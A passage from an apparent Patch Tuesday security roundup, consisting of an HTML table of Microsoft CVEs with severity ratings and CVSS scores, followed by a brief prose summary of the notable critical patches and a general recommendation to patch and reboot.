  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these 